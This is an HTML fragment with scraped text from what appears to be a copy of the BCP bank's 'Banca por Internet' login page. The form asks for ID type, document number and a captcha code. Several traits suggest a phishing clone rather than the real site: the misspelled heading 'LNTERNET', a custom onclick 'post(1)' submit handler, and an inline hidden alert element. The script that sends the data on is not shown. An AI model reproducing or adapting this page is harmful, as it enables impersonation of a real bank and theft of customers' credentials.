<div class="bcp-ffw-col input-container">
<bcp-input ctrl-value="" class="hydrated"><!---->
<div class="bcp-ffw-form-group">
<input class="bcp-ffw-form-control" inputmode="text" aria-labelledby="bcp-input-0-lbl" autocomplete="off" name="bcp-input-0" type="text" minlength="6" maxlength="6" placeholder="Código" autocapitalize="sentences"
autocorrect="off">
<span class="bcp-ffw-sr-only" id="bcp-input-0-lbl">Código</span>
</div>
<bcp-paragraph class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular onsurface-800"> </p>
</bcp-paragraph>
</bcp-input>
</div>
</div>
<bcp-button class="hydrated"><!---->
<button type="button" class="bcp-ffw-btn btn-text bcp-ffw-btn-md">
<bcp-paragraph class="hydrated"><!---->
<p class="paragraph-md bcp-font-demi secondary-500">Cambiar código<span class="text-decoration"></span></p>
</bcp-paragraph>
</button>
</bcp-button>
</bcp-captcha>
</div>
</div>
</div>
<p id="alerta" style="text-align: center; color: red; font-size: 0.9rem; display: none;"></p>
<br>
<div _ngcontent-aqk-c63="" class="row button-space-bottom d-sm-block btn-not-fixed">
<div _ngcontent-aqk-c63="" class="col">
<bcp-button _ngcontent-aqk-c63="" type="button" tier="primary" size="lg" full-width="" class="hydrated">
<button type="button" class="btn btn-primary btn-lg btn-block" onclick="post(1);">
<bcp-paragraph class="hydrated">
<p class="paragraph-lg bcp-font-demi white">Continuar </p>
</bcp-paragraph>
</button>
</bcp-button>
</div>
</div>
</div>
</form>Text Content
BANCA POR LNTERNET Persona Empresa DNI DNI CE PAS Nro de documento Recordar datos Código Cambiar código Continuar Esta es una página segura. Todos sus datos estan protegidos con los más altos estandares en seguridad. © 2024 | Todos los derechos reservados Todos los derechos reservados